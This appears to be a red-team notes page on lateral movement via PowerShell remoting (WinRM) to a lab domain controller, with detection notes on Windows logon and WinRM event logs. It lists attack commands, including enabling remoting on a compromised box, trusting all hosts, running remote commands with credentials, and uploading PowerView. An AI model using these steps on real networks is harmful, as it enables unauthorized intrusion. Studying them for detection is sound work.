T1028: WinRM for Lateral Movement

PowerShell remoting for lateral movement.

Execution

Attacker establishing a PSRemoting session from a compromised system 10.0.0.2 to a domain controller dc-mantvydas at 10.0.0.6:

New-PSSession -ComputerName dc-mantvydas -Credential (Get-Credential)
Id Name ComputerName ComputerType State ConfigurationName Availability
-- ---- ------------ ------------ ----- ----------------- ------------
1 Session1 dc-mantvydas RemoteMachine Opened Microsoft.PowerShell Available
PS C:\Users\mantvydas> Enter-PSSession 1
[dc-mantvydas]: PS C:\Users\spotless\Documents> calc.exe

Observations

Note the process ancestry:

On the host that initiated the connection, a 4648 logon attempt is logged, showing what process initiated it, the hostname where it connected to and which account was used:

The below graphic shows that the logon events 4648 annd 4624 are being logged on both the system that initiated the connection (pc-mantvydas - 4648) and the system that it logged on to (dc-mantvydas - 4624):

Additionally, %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-WinRM%4Operational.evtx on the host that initiated connection to the remote host, logs some interesting data for a task WSMan Session initialize :

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
<Provider Name="Microsoft-Windows-WinRM" Guid="{A7975C8F-AC13-49F1-87DA-5A984A4AB417}" />
<EventID>6</EventID>
<Version>0</Version>
<Level>4</Level>
<Task>3</Task>
<Opcode>1</Opcode>
<Keywords>0x4000000000000002</Keywords>
# connection iniation time
<TimeCreated SystemTime="2018-07-25T21:13:36.511895800Z" />
<EventRecordID>673</EventRecordID>
# a unique connection ID
<Correlation ActivityID="{037F878B-8DF6-4F1A-BA51-432C3CDDCB47}" />
# process ID that initiated the connection
<Execution ProcessID="3172" ThreadID="2844" />
<Channel>Microsoft-Windows-WinRM/Operational</Channel>
<Computer>PC-MANTVYDAS.offense.local</Computer>
<Security UserID="S-1-5-21-1731862936-2585581443-184968265-1001" />
</System>
- <EventData>
# remote host the connection was initiated to
<Data Name="connection">dc-mantvydas/wsman?PSVersion=5.1.14409.1005</Data>
</EventData>
</Event>

...same as above just in the actual screenshot:

Since we entered into a PS Shell on the remote system (Enter-PSSession) , there is another interesting log showing the establishment of a remote shell - note that the ShellID corresponds to the earlier observed Correlation ActivityID:

Additional Useful Commands

Jules Adriaens reached out to me and suggested to add the following useful commands, so here they are:

# Enable PowerShell Remoting on the target (box needs to be compromised first)
Enable-PSRemoting -force
# Check if a given system is listening on WinRM port
Test-NetConnection <IP> -CommonTCPPort WINRM
# Trust all hosts:
Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force
# Check what hosts are trusted
Get-Item WSMan:\localhost\Client\TrustedHosts
# Execute command on remote host
Invoke-Command <host> -Credential $cred -ScriptBlock {Hostname}
# Interactive session with explicit credentials
Enter-PSSession <host> -Credential <domain>\<user>
# Interactive session using Kerberos:
Enter-PSSession <host> -Authentication Kerberos
# Upload file to remote session
Copy-Item -Path C:\Temp\PowerView.ps1 -Destination C:\Temp\ -ToSession (Get-PSSession)
# Download file from remote session
Copy-Item -Path C:\Users\Administrator\Desktop\test.txt -Destination C:\Temp\ -FromSession (Get-PSSession)

References